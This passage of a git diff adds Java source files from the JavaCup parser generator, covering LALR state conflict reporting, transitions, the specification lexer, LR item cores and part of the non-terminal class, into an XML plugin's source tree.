actions"); + } + } + + /* find the shift in the two actions */ + protected parse_action insert_shift( + parse_action a1, + parse_action a2) + throws internal_error + { + return insert_action(a1, a2, parse_action.SHIFT); + } + + /* find the reduce in the two actions */ + protected parse_action insert_reduce( + parse_action a1, + parse_action a2) + throws internal_error + { + return insert_action(a1, a2, parse_action.REDUCE); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce warning messages for all conflicts found in this state. */ + protected void report_conflicts(terminal_set conflict_set) + throws internal_error + { + lalr_item itm, compare; + symbol shift_sym; + + boolean after_itm; + + /* consider each element */ + for (Enumeration itms = items().all(); itms.hasMoreElements(); ) + { + itm = (lalr_item)itms.nextElement(); + + /* clear the S/R conflict set for this item */ + + /* if it results in a reduce, it could be a conflict */ + if (itm.dot_at_end()) + { + /* not yet after itm */ + after_itm = false; + + /* compare this item against all others looking for conflicts */ + for (Enumeration comps = items().all(); comps.hasMoreElements(); ) + { + compare = (lalr_item)comps.nextElement(); + + /* if this is the item, next one is after it */ + if (itm == compare) after_itm = true; + + /* only look at it if its not the same item */ + if (itm != compare) + { + /* is it a reduce */ + if (compare.dot_at_end()) + { + /* only look at reduces after itm */ + if (after_itm) + /* does the comparison item conflict? */ + if (compare.lookahead().intersects(itm.lookahead())) + /* report a reduce/reduce conflict */ + report_reduce_reduce(itm, compare); + } + } + } + /* report S/R conflicts under all the symbols we conflict under */ + for (int t = 0; t < terminal.number(); t++) + if (conflict_set.contains(t)) + report_shift_reduce(itm,t); + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a warning message for one reduce/reduce conflict. + * + * @param itm1 first item in conflict. + * @param itm2 second item in conflict. + */ + protected void report_reduce_reduce(lalr_item itm1, lalr_item itm2) + throws internal_error + { + boolean comma_flag = false; + + System.err.println("*** Reduce/Reduce conflict found in state #"+index()); + System.err.print (" between "); + System.err.println(itm1.to_simple_string()); + System.err.print (" and "); + System.err.println(itm2.to_simple_string()); + System.err.print(" under symbols: {" ); + for (int t = 0; t < terminal.number(); t++) + { + if (itm1.lookahead().contains(t) && itm2.lookahead().contains(t)) + { + if (comma_flag) System.err.print(", "); else comma_flag = true; + System.err.print(terminal.find(t).name()); + } + } + System.err.println("}"); + System.err.print(" Resolved in favor of "); + if (itm1.the_production().index() < itm2.the_production().index()) + System.err.println("the first production.\n"); + else + System.err.println("the second production.\n"); + + /* count the conflict */ + emit.num_conflicts++; + lexer.warning_count++; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a warning message for one shift/reduce conflict. + * + * @param red_itm the item with the reduce. + * @param conflict_sym the index of the symbol conflict occurs under. + */ + protected void report_shift_reduce( + lalr_item red_itm, + int conflict_sym) + throws internal_error + { + lalr_item itm; + symbol shift_sym; + + /* emit top part of message including the reduce item */ + System.err.println("*** Shift/Reduce conflict found in state #"+index()); + System.err.print (" between "); + System.err.println(red_itm.to_simple_string()); + + /* find and report on all items that shift under our conflict symbol */ + for (Enumeration itms = items().all(); itms.hasMoreElements(); ) + { + itm = (lalr_item)itms.nextElement(); + + /* only look if its not the same item and not a reduce */ + if (itm != red_itm && !itm.dot_at_end()) + { + /* is it a shift on our conflicting terminal */ + shift_sym = itm.symbol_after_dot(); + if (!shift_sym.is_non_term() && shift_sym.index() == conflict_sym) + { + /* yes, report on it */ + System.err.println(" and " + itm.to_simple_string()); + } + } + } + System.err.println(" under symbol "+ terminal.find(conflict_sym).name()); + System.err.println(" Resolved in favor of shifting.\n"); + + /* count the conflict */ + emit.num_conflicts++; + lexer.warning_count++; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(lalr_state other) + { + /* we are equal if our item sets are equal */ + return other != null && items().equals(other.items()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof lalr_state)) + return false; + else + return equals((lalr_state)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a hash code. */ + public int hashCode() + { + /* just use the item set hash code */ + return items().hashCode(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string. */ + public String toString() + { + String result; + lalr_transition tr; + + /* dump the item set */ + result = "lalr_state [" + index() + "]: " + _items + "\n"; + + /* do the transitions */ + for (tr = transitions(); tr != null; tr = tr.next()) + { + result += tr; + result += "\n"; + } + + return result; + } + + /*-----------------------------------------------------------*/ +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/lalr_transition.java b/base_plugins/net.heartsome.xml/src/java_cup/lalr_transition.java new file mode 100644 index 0000000..8597825 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/lalr_transition.java @@ -0,0 +1,93 @@ +package java_cup; + +/** This class represents a transition in an LALR viable prefix recognition + * machine. Transitions can be under terminals for non-terminals. They are + * internally linked together into singly linked lists containing all the + * transitions out of a single state via the _next field. + * + * @see java_cup.lalr_state + * @version last updated: 11/25/95 + * @author Scott Hudson + * + */ +public class lalr_transition { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param on_sym symbol we are transitioning on. + * @param to_st state we transition to. + * @param nxt next transition in linked list. + */ + public lalr_transition(symbol on_sym, lalr_state to_st, lalr_transition nxt) + throws internal_error + { + /* sanity checks */ + if (on_sym == null) + throw new internal_error("Attempt to create transition on null symbol"); + if (to_st == null) + throw new internal_error("Attempt to create transition to null state"); + + /* initialize */ + _on_symbol = on_sym; + _to_state = to_st; + _next = nxt; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with null next. + * @param on_sym symbol we are transitioning on. + * @param to_st state we transition to. + */ + public lalr_transition(symbol on_sym, lalr_state to_st) throws internal_error + { + this(on_sym, to_st, null); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The symbol we make the transition on. */ + protected symbol _on_symbol; + + /** The symbol we make the transition on. */ + public symbol on_symbol() {return _on_symbol;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The state we transition to. */ + protected lalr_state _to_state; + + /** The state we transition to. */ + public lalr_state to_state() {return _to_state;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Next transition in linked list of transitions out of a state */ + protected lalr_transition _next; + + /** Next transition in linked list of transitions out of a state */ + public lalr_transition next() {return _next;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Convert to a string. */ + public String toString() + { + String result; + + result = "transition on " + on_symbol().name() + " to state ["; + result += _to_state.index(); + result += "]"; + + return result; + } + + /*-----------------------------------------------------------*/ +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/lexer.java b/base_plugins/net.heartsome.xml/src/java_cup/lexer.java new file mode 100644 index 0000000..dd21b46 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/lexer.java @@ -0,0 +1,543 @@ +package java_cup; + +import java_cup.runtime.Symbol; +import java.util.Hashtable; + +/** This class implements a small scanner (aka lexical analyzer or lexer) for + * the JavaCup specification. This scanner reads characters from standard + * input (System.in) and returns integers corresponding to the terminal + * number of the next Symbol. Once end of input is reached the EOF Symbol is + * returned on every subsequent call.

    + * Symbols currently returned include:

    + *    Symbol        Constant Returned     Symbol        Constant Returned
    + *    ------        -----------------     ------        -----------------
    + *    "package"     PACKAGE               "import"      IMPORT 
    + *    "code"        CODE                  "action"      ACTION 
    + *    "parser"      PARSER                "terminal"    TERMINAL
    + *    "non"         NON                   "init"        INIT 
    + *    "scan"        SCAN                  "with"        WITH
    + *    "start"       START                 "precedence"  PRECEDENCE
    + *    "left"        LEFT		  "right"       RIGHT
    + *    "nonassoc"    NONASSOC		  "%prec        PRECENT_PREC  
    + *      [           LBRACK                  ]           RBRACK
    + *      ;           SEMI 
    + *      ,           COMMA                   *           STAR 
    + *      .           DOT                     :           COLON
    + *      ::=         COLON_COLON_EQUALS      |           BAR
    + *    identifier    ID                    {:...:}       CODE_STRING
    + *    "nonterminal" NONTERMINAL
    + *  
    + * All symbol constants are defined in sym.java which is generated by + * JavaCup from parser.cup.

    + * + * In addition to the scanner proper (called first via init() then with + * next_token() to get each Symbol) this class provides simple error and + * warning routines and keeps a count of errors and warnings that is + * publicly accessible.

    + * + * This class is "static" (i.e., it has only static members and methods). + * + * @version last updated: 7/3/96 + * @author Frank Flannery + */ +public class lexer { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** The only constructor is private, so no instances can be created. */ + private lexer() { } + + /*-----------------------------------------------------------*/ + /*--- Static (Class) Variables ------------------------------*/ + /*-----------------------------------------------------------*/ + + /** First character of lookahead. */ + protected static int next_char; + + /** Second character of lookahead. */ + protected static int next_char2; + + /** Second character of lookahead. */ + protected static int next_char3; + + /** Second character of lookahead. */ + protected static int next_char4; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** EOF constant. */ + protected static final int EOF_CHAR = -1; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Table of keywords. Keywords are initially treated as identifiers. + * Just before they are returned we look them up in this table to see if + * they match one of the keywords. The string of the name is the key here, + * which indexes Integer objects holding the symbol number. + */ + protected static Hashtable keywords = new Hashtable(23); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Table of single character symbols. For ease of implementation, we + * store all unambiguous single character Symbols in this table of Integer + * objects keyed by Integer objects with the numerical value of the + * appropriate char (currently Character objects have a bug which precludes + * their use in tables). + */ + protected static Hashtable char_symbols = new Hashtable(11); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Current line number for use in error messages. */ + protected static int current_line = 1; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Character position in current line. */ + protected static int current_position = 1; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Character position in current line. */ + protected static int absolute_position = 1; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of total errors detected so far. */ + public static int error_count = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of warnings issued so far */ + public static int warning_count = 0; + + /*-----------------------------------------------------------*/ + /*--- Static Methods ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Initialize the scanner. This sets up the keywords and char_symbols + * tables and reads the first two characters of lookahead. + */ + public static void init() throws java.io.IOException + { + /* set up the keyword table */ + keywords.put("package", new Integer(sym.PACKAGE)); + keywords.put("import", new Integer(sym.IMPORT)); + keywords.put("code", new Integer(sym.CODE)); + keywords.put("action", new Integer(sym.ACTION)); + keywords.put("parser", new Integer(sym.PARSER)); + keywords.put("terminal", new Integer(sym.TERMINAL)); + keywords.put("non", new Integer(sym.NON)); + keywords.put("nonterminal",new Integer(sym.NONTERMINAL));// [CSA] + keywords.put("init", new Integer(sym.INIT)); + keywords.put("scan", new Integer(sym.SCAN)); + keywords.put("with", new Integer(sym.WITH)); + keywords.put("start", new Integer(sym.START)); + keywords.put("precedence", new Integer(sym.PRECEDENCE)); + keywords.put("left", new Integer(sym.LEFT)); + keywords.put("right", new Integer(sym.RIGHT)); + keywords.put("nonassoc", new Integer(sym.NONASSOC)); + + /* set up the table of single character symbols */ + char_symbols.put(new Integer(';'), new Integer(sym.SEMI)); + char_symbols.put(new Integer(','), new Integer(sym.COMMA)); + char_symbols.put(new Integer('*'), new Integer(sym.STAR)); + char_symbols.put(new Integer('.'), new Integer(sym.DOT)); + char_symbols.put(new Integer('|'), new Integer(sym.BAR)); + char_symbols.put(new Integer('['), new Integer(sym.LBRACK)); + char_symbols.put(new Integer(']'), new Integer(sym.RBRACK)); + + /* read two characters of lookahead */ + next_char = System.in.read(); + if (next_char == EOF_CHAR) { + next_char2 = EOF_CHAR; + next_char3 = EOF_CHAR; + next_char4 = EOF_CHAR; + } else { + next_char2 = System.in.read(); + if (next_char2 == EOF_CHAR) { + next_char3 = EOF_CHAR; + next_char4 = EOF_CHAR; + } else { + next_char3 = System.in.read(); + if (next_char3 == EOF_CHAR) { + next_char4 = EOF_CHAR; + } else { + next_char4 = System.in.read(); + } + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Advance the scanner one character in the input stream. This moves + * next_char2 to next_char and then reads a new next_char2. + */ + protected static void advance() throws java.io.IOException + { + int old_char; + + old_char = next_char; + next_char = next_char2; + if (next_char == EOF_CHAR) { + next_char2 = EOF_CHAR; + next_char3 = EOF_CHAR; + next_char4 = EOF_CHAR; + } else { + next_char2 = next_char3; + if (next_char2 == EOF_CHAR) { + next_char3 = EOF_CHAR; + next_char4 = EOF_CHAR; + } else { + next_char3 = next_char4; + if (next_char3 == EOF_CHAR) { + next_char4 = EOF_CHAR; + } else { + next_char4 = System.in.read(); + } + } + } + + /* count this */ + absolute_position++; + current_position++; + if (old_char == '\n' || (old_char == '\r' && next_char!='\n')) + { + current_line++; + current_position = 1; + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit an error message. The message will be marked with both the + * current line number and the position in the line. Error messages + * are printed on standard error (System.err). + * @param message the message to print. + */ + public static void emit_error(String message) + { + System.err.println("Error at " + current_line + "(" + current_position + + "): " + message); + error_count++; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit a warning message. The message will be marked with both the + * current line number and the position in the line. Messages are + * printed on standard error (System.err). + * @param message the message to print. + */ + public static void emit_warn(String message) + { + System.err.println("Warning at " + current_line + "(" + current_position + + "): " + message); + warning_count++; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if a character is ok to start an id. + * @param ch the character in question. + */ + protected static boolean id_start_char(int ch) + { + /* allow for % in identifiers. a hack to allow my + %prec in. Should eventually make lex spec for this + frankf */ + return (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || + (ch == '_'); + + // later need to deal with non-8-bit chars here + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if a character is ok for the middle of an id. + * @param ch the character in question. + */ + protected static boolean id_char(int ch) + { + return id_start_char(ch) || (ch >= '0' && ch <= '9'); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Try to look up a single character symbol, returns -1 for not found. + * @param ch the character in question. + */ + protected static int find_single_char(int ch) + { + Integer result; + + result = (Integer)char_symbols.get(new Integer((char)ch)); + if (result == null) + return -1; + else + return result.intValue(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Handle swallowing up a comment. Both old style C and new style C++ + * comments are handled. + */ + protected static void swallow_comment() throws java.io.IOException + { + /* next_char == '/' at this point */ + + /* is it a traditional comment */ + if (next_char2 == '*') + { + /* swallow the opener */ + advance(); advance(); + + /* swallow the comment until end of comment or EOF */ + for (;;) + { + /* if its EOF we have an error */ + if (next_char == EOF_CHAR) + { + emit_error("Specification file ends inside a comment"); + return; + } + + /* if we can see the closer we are done */ + if (next_char == '*' && next_char2 == '/') + { + advance(); + advance(); + return; + } + + /* otherwise swallow char and move on */ + advance(); + } + } + + /* is its a new style comment */ + if (next_char2 == '/') + { + /* swallow the opener */ + advance(); advance(); + + /* swallow to '\n', '\r', '\f', or EOF */ + while (next_char != '\n' && next_char != '\r' && + next_char != '\f' && next_char!=EOF_CHAR) + advance(); + + return; + + } + + /* shouldn't get here, but... if we get here we have an error */ + emit_error("Malformed comment in specification -- ignored"); + advance(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Swallow up a code string. Code strings begin with "{:" and include + all characters up to the first occurrence of ":}" (there is no way to + include ":}" inside a code string). The routine returns a String + object suitable for return by the scanner. + */ + protected static Symbol do_code_string() throws java.io.IOException + { + StringBuffer result = new StringBuffer(); + + /* at this point we have lookahead of "{:" -- swallow that */ + advance(); advance(); + + /* save chars until we see ":}" */ + while (!(next_char == ':' && next_char2 == '}')) + { + /* if we have run off the end issue a message and break out of loop */ + if (next_char == EOF_CHAR) + { + emit_error("Specification file ends inside a code string"); + break; + } + + /* otherwise record the char and move on */ + result.append(new Character((char)next_char)); + advance(); + } + + /* advance past the closer and build a return Symbol */ + advance(); advance(); + return new Symbol(sym.CODE_STRING, result.toString()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Process an identifier. Identifiers begin with a letter, underscore, + * or dollar sign, which is followed by zero or more letters, numbers, + * underscores or dollar signs. This routine returns a String suitable + * for return by the scanner. + */ + protected static Symbol do_id() throws java.io.IOException + { + StringBuffer result = new StringBuffer(); + String result_str; + Integer keyword_num; + char buffer[] = new char[1]; + + /* next_char holds first character of id */ + buffer[0] = (char)next_char; + result.append(buffer,0,1); + advance(); + + /* collect up characters while they fit in id */ + while(id_char(next_char)) + { + buffer[0] = (char)next_char; + result.append(buffer,0,1); + advance(); + } + + /* extract a string and try to look it up as a keyword */ + result_str = result.toString(); + keyword_num = (Integer)keywords.get(result_str); + + /* if we found something, return that keyword */ + if (keyword_num != null) + return new Symbol(keyword_num.intValue()); + + /* otherwise build and return an id Symbol with an attached string */ + return new Symbol(sym.ID, result_str); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return one Symbol. This is the main external interface to the scanner. + * It consumes sufficient characters to determine the next input Symbol + * and returns it. To help with debugging, this routine actually calls + * real_next_token() which does the work. If you need to debug the + * parser, this can be changed to call debug_next_token() which prints + * a debugging message before returning the Symbol. + */ + public static Symbol next_token() throws java.io.IOException + { + return real_next_token(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Debugging version of next_token(). This routine calls the real scanning + * routine, prints a message on System.out indicating what the Symbol is, + * then returns it. + */ + public static Symbol debug_next_token() throws java.io.IOException + { + Symbol result = real_next_token(); + System.out.println("# next_Symbol() => " + result.sym); + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The actual routine to return one Symbol. This is normally called from + * next_token(), but for debugging purposes can be called indirectly from + * debug_next_token(). + */ + protected static Symbol real_next_token() throws java.io.IOException + { + int sym_num; + + for (;;) + { + /* look for white space */ + if (next_char == ' ' || next_char == '\t' || next_char == '\n' || + next_char == '\f' || next_char == '\r') + { + /* advance past it and try the next character */ + advance(); + continue; + } + + /* look for a single character symbol */ + sym_num = find_single_char(next_char); + if (sym_num != -1) + { + /* found one -- advance past it and return a Symbol for it */ + advance(); + return new Symbol(sym_num); + } + + /* look for : or ::= */ + if (next_char == ':') + { + /* if we don't have a second ':' return COLON */ + if (next_char2 != ':') + { + advance(); + return new Symbol(sym.COLON); + } + + /* move forward and look for the '=' */ + advance(); + if (next_char2 == '=') + { + advance(); advance(); + return new Symbol(sym.COLON_COLON_EQUALS); + } + else + { + /* return just the colon (already consumed) */ + return new Symbol(sym.COLON); + } + } + + /* find a "%prec" string and return it. otherwise, a '%' was found, + which has no right being in the specification otherwise */ + if (next_char == '%') { + advance(); + if ((next_char == 'p') && (next_char2 == 'r') && (next_char3 == 'e') && + (next_char4 == 'c')) { + advance(); + advance(); + advance(); + advance(); + return new Symbol(sym.PERCENT_PREC); + } else { + emit_error("Found extraneous percent sign"); + } + } + + /* look for a comment */ + if (next_char == '/' && (next_char2 == '*' || next_char2 == '/')) + { + /* swallow then continue the scan */ + swallow_comment(); + continue; + } + + /* look for start of code string */ + if (next_char == '{' && next_char2 == ':') + return do_code_string(); + + /* look for an id or keyword */ + if (id_start_char(next_char)) return do_id(); + + /* look for EOF */ + if (next_char == EOF_CHAR) return new Symbol(sym.EOF); + + /* if we get here, we have an unrecognized character */ + emit_warn("Unrecognized character '" + + new Character((char)next_char) + "'(" + next_char + + ") -- ignored"); + + /* advance past it */ + advance(); + } + } + + /*-----------------------------------------------------------*/ +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/lr_item_core.java b/base_plugins/net.heartsome.xml/src/java_cup/lr_item_core.java new file mode 100644 index 0000000..4176aa3 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/lr_item_core.java @@ -0,0 +1,280 @@ + +package java_cup; + +/** The "core" of an LR item. This includes a production and the position + * of a marker (the "dot") within the production. Typically item cores + * are written using a production with an embedded "dot" to indicate their + * position. For example:

    + *     A ::= B * C d E
    + *  
    + * This represents a point in a parse where the parser is trying to match + * the given production, and has succeeded in matching everything before the + * "dot" (and hence is expecting to see the symbols after the dot next). See + * lalr_item, lalr_item_set, and lalr_start for full details on the meaning + * and use of items. + * + * @see java_cup.lalr_item + * @see java_cup.lalr_item_set + * @see java_cup.lalr_state + * @version last updated: 11/25/95 + * @author Scott Hudson +*/ + +public class lr_item_core { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param prod production this item uses. + * @param pos position of the "dot" within the item. + */ + public lr_item_core(production prod, int pos) throws internal_error + { + symbol after_dot = null; + production_part part; + + if (prod == null) + throw new internal_error( + "Attempt to create an lr_item_core with a null production"); + + _the_production = prod; + + if (pos < 0 || pos > _the_production.rhs_length()) + throw new internal_error( + "Attempt to create an lr_item_core with a bad dot position"); + + _dot_pos = pos; + + /* compute and cache hash code now */ + _core_hash_cache = 13*_the_production.hashCode() + pos; + + /* cache the symbol after the dot */ + if (_dot_pos < _the_production.rhs_length()) + { + part = _the_production.rhs(_dot_pos); + if (!part.is_action()) + _symbol_after_dot = ((symbol_part)part).the_symbol(); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor for dot at start of right hand side. + * @param prod production this item uses. + */ + public lr_item_core(production prod) throws internal_error + { + this(prod,0); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The production for the item. */ + protected production _the_production; + + /** The production for the item. */ + public production the_production() {return _the_production;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The position of the "dot" -- this indicates the part of the production + * that the marker is before, so 0 indicates a dot at the beginning of + * the RHS. + */ + protected int _dot_pos; + + /** The position of the "dot" -- this indicates the part of the production + * that the marker is before, so 0 indicates a dot at the beginning of + * the RHS. + */ + public int dot_pos() {return _dot_pos;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Cache of the hash code. */ + protected int _core_hash_cache; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Cache of symbol after the dot. */ + protected symbol _symbol_after_dot = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Is the dot at the end of the production? */ + public boolean dot_at_end() + { + return _dot_pos >= _the_production.rhs_length(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return the symbol after the dot. If there is no symbol after the dot + * we return null. */ + public symbol symbol_after_dot() + { + /* use the cached symbol */ + return _symbol_after_dot; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if we have a dot before a non terminal, and if so which one + * (return null or the non terminal). + */ + public non_terminal dot_before_nt() + { + symbol sym; + + /* get the symbol after the dot */ + sym = symbol_after_dot(); + + /* if it exists and is a non terminal, return it */ + if (sym != null && sym.is_non_term()) + return (non_terminal)sym; + else + return null; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a new lr_item_core that results from shifting the dot one + * position to the right. + */ + public lr_item_core shift_core() throws internal_error + { + if (dot_at_end()) + throw new internal_error( + "Attempt to shift past end of an lr_item_core"); + + return new lr_item_core(_the_production, _dot_pos+1); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison for the core only. This is separate out because we + * need separate access in a super class. + */ + public boolean core_equals(lr_item_core other) + { + return other != null && + _the_production.equals(other._the_production) && + _dot_pos == other._dot_pos; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(lr_item_core other) {return core_equals(other);} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof lr_item_core)) + return false; + else + return equals((lr_item_core)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Hash code for the core (separated so we keep non overridden version). */ + public int core_hashCode() + { + return _core_hash_cache; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Hash code for the item. */ + public int hashCode() + { + return _core_hash_cache; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return the hash code that object would have provided for us so we have + * a (nearly) unique id for debugging. + */ + protected int obj_hash() + { + return super.hashCode(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string (separated out from toString() so we can call it + * from subclass that overrides toString()). + */ + public String to_simple_string() throws internal_error + { + String result; + production_part part; + + if (_the_production.lhs() != null && + _the_production.lhs().the_symbol() != null && + _the_production.lhs().the_symbol().name() != null) + result = _the_production.lhs().the_symbol().name(); + else + result = "$$NULL$$"; + + result += " ::= "; + + for (int i = 0; i<_the_production.rhs_length(); i++) + { + /* do we need the dot before this one? */ + if (i == _dot_pos) + result += "(*) "; + + /* print the name of the part */ + if (_the_production.rhs(i) == null) + { + result += "$$NULL$$ "; + } + else + { + part = _the_production.rhs(i); + if (part == null) + result += "$$NULL$$ "; + else if (part.is_action()) + result += "{ACTION} "; + else if (((symbol_part)part).the_symbol() != null && + ((symbol_part)part).the_symbol().name() != null) + result += ((symbol_part)part).the_symbol().name() + " "; + else + result += "$$NULL$$ "; + } + } + + /* put the dot after if needed */ + if (_dot_pos == _the_production.rhs_length()) + result += "(*) "; + + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to a string */ + public String toString() + { + /* can't throw here since super class doesn't, so we crash instead */ + try { + return to_simple_string(); + } catch(internal_error e) { + e.crash(); + return null; + } + } + + /*-----------------------------------------------------------*/ + +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/non_terminal.java b/base_plugins/net.heartsome.xml/src/java_cup/non_terminal.java new file mode 100644 index 0000000..e6cc9e4 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/non_terminal.java @@ -0,0 +1,301 @@ +package java_cup; + +import java.util.Hashtable; +import java.util.Enumeration; + +/** This class represents a non-terminal symbol in the grammar. Each + * non terminal has a textual name, an index, and a string which indicates + * the type of object it will be implemented with at runtime (i.e. the class + * of object that will be pushed on the parse stack to represent it). + * + * @version last updated: 11/25/95 + * @author Scott Hudson + */ + +public class non_terminal extends symbol { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param nm the name of the non terminal. + * @param tp the type string for the non terminal. + */ + public non_terminal(String nm, String tp) + { + /* super class does most of the work */ + super(nm, tp); + + /* add to set of all non terminals and check for duplicates */ + Object conflict = _all.put(nm,this); + if (conflict != null) + // can't throw an exception here because these are used in static + // initializers, so we crash instead + // was: + // throw new internal_error("Duplicate non-terminal ("+nm+") created"); + (new internal_error("Duplicate non-terminal ("+nm+") created")).crash(); + + /* assign a unique index */ + _index = next_index++; + + /* add to by_index set */ + _all_by_index.put(new Integer(_index), this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with default type. + * @param nm the name of the non terminal. + */ + public non_terminal(String nm) + { + this(nm, null); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Table of all non-terminals -- elements are stored using name strings + * as the key + */ + protected static Hashtable _all = new Hashtable(); + + /** Access to all non-terminals. */ + public static Enumeration all() {return _all.elements();} + + /** lookup a non terminal by name string */ + public static non_terminal find(String with_name) + { + if (with_name == null) + return null; + else + return (non_terminal)_all.get(with_name); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Table of all non terminals indexed by their index number. */ + protected static Hashtable _all_by_index = new Hashtable(); + + /** Lookup a non terminal by index. */ + public static non_terminal find(int indx) + { + Integer the_indx = new Integer(indx); + + return (non_terminal)_all_by_index.get(the_indx); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Total number of non-terminals. */ + public static int number() {return _all.size();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Static counter to assign unique indexes. */ + protected static int next_index = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Static counter for creating unique non-terminal names */ + static protected int next_nt = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** special non-terminal for start symbol */ + public static final non_terminal START_nt = new non_terminal("$START"); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** flag non-terminals created to embed action productions */ + public boolean is_embedded_action = false; /* added 24-Mar-1998, CSA */ + + /*-----------------------------------------------------------*/ + /*--- Static Methods ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Method for creating a new uniquely named hidden non-terminal using + * the given string as a base for the name (or "NT$" if null is passed). + * @param prefix base name to construct unique name 